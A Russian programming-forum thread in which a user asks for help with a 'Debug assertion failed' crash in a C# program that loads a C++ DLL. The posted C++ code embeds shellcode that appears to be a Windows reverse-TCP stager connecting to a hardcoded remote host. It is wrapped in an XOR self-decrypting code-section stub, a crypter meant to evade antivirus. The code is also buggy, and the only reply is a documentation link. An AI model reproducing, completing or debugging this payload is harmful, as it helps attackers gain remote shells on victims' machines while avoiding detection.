Форум программистов, компьютерный форум, киберфорум
C# для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
0 / 0 / 0
Регистрация: 25.08.2022
Сообщений: 18

Debug assertion failed

28.08.2022, 01:15. Показов 472. Ответов 1
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Я написал код в C++ и сделал как библиотеку и сделал dll и через importdll импортировал эту dll в C#. При компиляции кода пишет

debug assertion failed

Program: C:\..\..\..\bin\Debug\w.exe
File minekernel\crts\ucrt\src\appcr t\heap\debug_heap.cpp
Line: 908

Expression: is block_type_valid(header->_block_use)

For information on how your program can cause an assertion
failure, see the Visual C++ documentation an asserts.

(Press Retry to debug the application)

ошибка в виде окна ошибки windows

вот код C#

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
 
namespace w
{
    public class crypt
    {
        [DllImport(@"Startion.dll")]
 
 
        public static extern void decryptCodeSection();
    public static int main()
        {
            
            decryptCodeSection();
            OK.ko();
            return 0;
        }
    }
}
вот код C++

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#define DllImport   __declspec( dllimport )
#define DllExport   __declspec( dllexport )
#include <Windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
 
 
#pragma section(".code",execute, read, write)
#pragma section(".codedata", read, write)
#pragma comment(linker,"/MERGE:.codedata=.code")
#pragma comment(linker,"/SECTION:.code,ERW")
#pragma data_seg(".codedata")
#pragma const_seg(".codedata")
#pragma code_seg(".code")
 
 
 
 
 
extern "C" {
    
        unsigned char buf[] =
            "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
            "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
            "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
            "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
            "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
            "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
            "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
            "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
            "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
            "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
            "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
            "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
            "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"
            "\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2"
            "\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"
            "\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"
            "\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
            "\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
            "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
            "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";
 
        
#pragma section(".stub", execute, read, write)
#pragma code_seg(".stub")
#pragma section(".stubdata", read, write)
#pragma comment(linker,"/MERGE:.stubdata=.stub")
#pragma data_seg(".stubdata")
#pragma const_seg(".stubdata")
#pragma code_seg(".stub")
 
#define CODE_BASE_ADDRESS   0x15151515 
#define CODE_SIZE           0x14141414 
    
 
    DllExport void  decryptCodeSection() 
    {
        
        long int i;
        long int nbytes;
        unsigned char *ptr;
        int keyLength = 8;
        int cpt = 0;
        BYTE  key[] = { 'a','b','a','b','a','b','a','b','\0' };
        DWORD patience;
        DWORD codeAddr;
 
        ptr = (unsigned char *)CODE_BASE_ADDRESS;
        nbytes = CODE_SIZE;
        free(decryptCodeSection);
        
        for (i = 0; i < nbytes; i++)
        {
            ptr[i] = ptr[i] ^ key[cpt];
            cpt = cpt + 1;
            if (cpt == keyLength)
                cpt = 0;
        }
 
        return;
    }
}
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
28.08.2022, 01:15
Ответы с готовыми решениями:

Debug Assertion Failed
Помогите, пожалуйста, выскакивает сообщений Debug Assertion Failed. Сама программа компилируется и запускается, но после введение значений...

Debug Assertion Failed
День добрый. На С++ решаю задачу, схожую с &quot;задачей производителя и потребителя&quot;. Вкратце: процесс Receiver запускает введенное...

Debug assertion failed
Во время отладки вылазит такая ошибка,не могу понять в чём дело

1
17 / 13 / 5
Регистрация: 10.03.2016
Сообщений: 144
29.08.2022, 18:35
Gero1n, https://social.msdn.microsoft.... =vcgeneral

Debug Assertion Failed
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
29.08.2022, 18:35
Помогаю со студенческими работами здесь

Debug Assertion Failed!
Доброго времени суток! Не могу понять где ошибка, подскажите пожалуйста. код: #include &quot;stdafx.h&quot; #include...

Debug Assertion Failed
вот такая ошибка возникает при правом щелчке мышью может у кого то есть решение

Debug Assertion Failed
В общем, столкнулся с такой проблемой, не знаю что делать. Фото и код прилагаются. // 9lab.cpp : Этот файл содержит функцию...

Debug assertion failed
#include &lt;iostream&gt; using namespace std; class Employee { friend class Leader; private: char m_name; char m_no; public: ...

Debug assertion failed
Вот такая ошибка выскакивает. У меня диалоговый MFC проект. В ModelDlg.h есть член класса CStatic m_PictureOne; в инициализации диалога...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
2
Ответ Создать тему
Новые блоги и статьи
делаю науч статью по влиянию грибов на сукцессию
anaschu 13.03.2026
прикрепляю статью
SDL3 для Desktop (MinGW): Создаём пустое окно с нуля для 2D-графики на SDL3, Си и C++
8Observer8 10.03.2026
Содержание блога Финальные проекты на Си и на C++: hello-sdl3-c. zip hello-sdl3-cpp. zip Результат:
Установка CMake и MinGW 13.1 для сборки С и C++ приложений из консоли и из Qt Creator в EXE
8Observer8 10.03.2026
Содержание блога MinGW - это коллекция инструментов для сборки приложений в EXE. CMake - это система сборки приложений. Здесь описаны базовые шаги для старта программирования с помощью CMake и. . .
Как дизайн сайта влияет на конверсию: 7 решений, которые реально повышают заявки
Neotwalker 08.03.2026
Многие до сих пор воспринимают дизайн сайта как “красивую оболочку”. На практике всё иначе: дизайн напрямую влияет на то, оставит человек заявку или уйдёт через несколько секунд. Даже если у вас. . .
Модульная разработка через nuget packages
DevAlt 07.03.2026
Сложившийся в . Net-среде способ разработки чаще всего предполагает монорепозиторий в котором находятся все исходники. При создании нового решения, мы просто добавляем нужные проекты и имеем. . .
Модульный подход на примере F#
DevAlt 06.03.2026
В блоге дяди Боба наткнулся на такое определение: В этой книге («Подход, основанный на вариантах использования») Ивар утверждает, что архитектура программного обеспечения — это структуры,. . .
Управление камерой с помощью скрипта OrbitControls.js на Three.js: Вращение, зум и панорамирование
8Observer8 05.03.2026
Содержание блога Финальная демка в браузере работает на Desktop и мобильных браузерах. Итоговый код: orbit-controls-threejs-js. zip. Сканируйте QR-код на мобильном. Вращайте камеру одним пальцем,. . .
SDL3 для Web (WebAssembly): Синхронизация спрайтов SDL3 и тел Box2D
8Observer8 04.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-sync-physics-sprites-sdl3-c. zip На первой гифке отладочные линии отключены, а на второй включены:. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru